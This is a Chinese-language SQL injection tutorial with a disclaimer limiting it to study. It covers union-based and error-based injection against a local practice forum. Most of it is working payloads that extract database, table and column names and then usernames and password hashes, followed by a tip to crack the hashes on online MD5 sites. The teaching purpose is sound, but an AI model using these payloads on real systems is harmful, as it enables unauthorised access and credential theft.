声明:
本内容仅用于网络安全学习、科研与技术交流目的。
严禁将相关知识用于任何未授权的渗透、攻击、破坏、入侵或其他违法行为,否则后果自负。请严格遵守国家法律法规与伦理规范,合理、合规地开展网络安全研究。
SQL注入分类
一、Union注入
1.1 概念
union 查询注入是最基础的注入。在 SQL 中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。联合查询会"纵向"拼接两个或多个 SELECT 语句的结果。
1.2 使用条件
(1)网页存在注入点,有回显。
(2)需要满足union语句要求,即:
union前后两个select的结果集应具有相同的列数。
union前后两个select的结果集对应列是相同数据类型。
1.3 注入步骤
(1)首先判断是否存在注入点及注入的类型。
(2)使用ORDER BY查询列数、观察回显的位置。
(3)获得数据库名。
(4)获得数据库中的所有表名。
(5)获得数据库表中所有的字段名。
(6)获得字段中的数据。
1.4 案例
(1)使用bbs靶场,并导入数据库。
(2)url那里有?XX=XX 并且界面出现变化说明大概率存在sql注入。

(3)使用order by X 确定列数。如图所示,在进行order by 4时页面显示正常,order by 5报错,那么就说明列数为4。这需要自己测试

(4)使用union查询注入点或者回显的位置。
id=-1是让正确的语句不要干扰注入的语句导致union后面的语句无法显示。
进行联合查询判断显示位时,要在?id=0或-1或者-X让前面的select语句查询为空错误,然后采用后面的select语句去查询。

(5)数据库名,版本号等,在回显的位置进行编写sql语句。查到数据库为jrlt。

(6)表名
sql
select group_concat(table_name) from information_schema.tables t where t.table_schema='jrlt'
?id=-1 union select 1,2,3,4
那么就可以将sql语句放在2,、3、4任意一个位置。
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables t where t.table_schema='jrlt'),3,4
最后出现数据库jrlt中有message和users表。

(7)获得users表中的字段。
sql
select group_concat(column_name) from information_schema.columns c where c.table_schema='jrlt' and c.table_name='users'
?id=-1 union select 1,2,3,4
那么就可以将sql语句放在2,、3、4任意一个位置。
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns c where c.table_schema='jrlt' and c.table_name='users'),3,4
最后出现users表中有id,name,password,photo,money这五个字段。

(8)获得users表中name和password
sql
select name,password from users limit 0,1
limit 0,1 限制返回结果 。
0表示从第0条记录开始(SQL中索引从0开始)
1表示只返回1条记录
合起来意思是"返回第1条记录"。
?id=-1 union select 1,2,3,4
那么就可以将sql语句放在2,、3、4任意一个位置。
?id=-1 union select 1,(select name,password from users limit 0,1),4 出现如图错误:

?id=-1 union select 1,2,3,concat(name,'----',password) from users limit 0,1

浏览器一搜md5解密就可以得出明文
最后出现用户名和密码
tip: 研究Googlehacking语法
二、报错注入
2.1 概念
报错注入是利用网站的报错信息来带出我们想要的信息,就是在错误信息中执行sql语句。
2.2 使用条件
考虑到成功率和时间成本比union成本高,需要数据库有错误信息,一般在union条件不能实施的时候,在查询、新增、修改都能使用。
2.3 常用报错注入命令
(1)group by 重复键冲突
(count()+floor()+group by 组合)就是利用count()、rand()、floor()、group by这几个特定的函数结合在一起产生的注入漏洞。
下面的代码是select version()就可以换成select database()就是查看数据库信息。* *或者是rand(14)**
sql
?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)
使用bbs的靶场,登录admin/admin123进入之后,进行留言,然后再在url复制group by重复键冲突命令,然后就输出以下内容。

(2)xpath报错
其中 extractvalue()函数语法、参数定义及作用如下: 从目标 XML 中返回包含所查询值的字符串
● 第一个参数:XML_document 是 String 格式,为 XMIL 文档对象的名称。
● 第二个参数:XPath_string (Xpath 格式的字符串)。
sql
?id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))
(3)updatexml报错
updatexml(xml_document,xpath_string,new_value) ● 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc1。 ● 第二个参数: XPath_string (Xpath 格式的字符串),如果不了解 Xpath 语法,可以在网上查找教程。 找教程。第三个参数: new_value,String 格式,替换查找到的符合条件的数据。
sql
?id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)
2.4 案例
(1)使用bbs靶场,并导入数据库。
http://localhost/bbs/addMessage.php

(2)编写payload

正常的新增的sql语句:
sql
INSERT INTO` messages` ( `uname`, `title`, `content`) VALUES('".$userName."','".$title."','".$content."')
注入原理:
sql
INSERT INTO `messages`( `uname`, `title`, `content`) VALUES
('','',''or '攻击语句' or '')
INSERT INTO `messages`( `uname`, `title`, `content`) VALUES('','','a' or 'b' or 'c') 非1的结果都是0
(3)获得数据库名字
这里填写的内容是content值,就是替换正常插入sql语句中content的。
sql语句:
相当于只执行了两个or中间的group by报错指令。
sql
'or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

(4)获得数表名
使用Xpath进行sql查询,并且把table_schema的值改为上一步查到的数据库名
sql
'or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or'

(5)获得表字段
使用updateXML报错命令来进行查找表的字段。
注:记得修改命令中的表名和数据库名
sql
'or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '

(6)获得数据
注意:因为updatxml只能获得32位字符,所以不知道最后获得的是否正确,还需要对后面的字符进行查看。
cmd5.com网站可以自动补全!!!
sql
(1)'or updatexml(1,concat(0x5e,(select concat(name,':',password) from users limit 0,1),0x5e),1) or'
(2)'or updatexml(1,concat(0x5e,(select
concat(name,':',substring('21232f297a57a5a743894a0e4a801fc3',1,16)) from users limit 0,1),0x5e),1) or '
(2)'or updatexml(1,concat(0x5e,(select
concat(name,':',substring('21232f297a57a5a743894a0e4a801fc3',17)) from users limit 0,1),0x5e),1) or'
(3)用来判断是否超过32位字符
'or (select 1 from (select concat((select name from users LIMIT 0,1),':',floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c) or'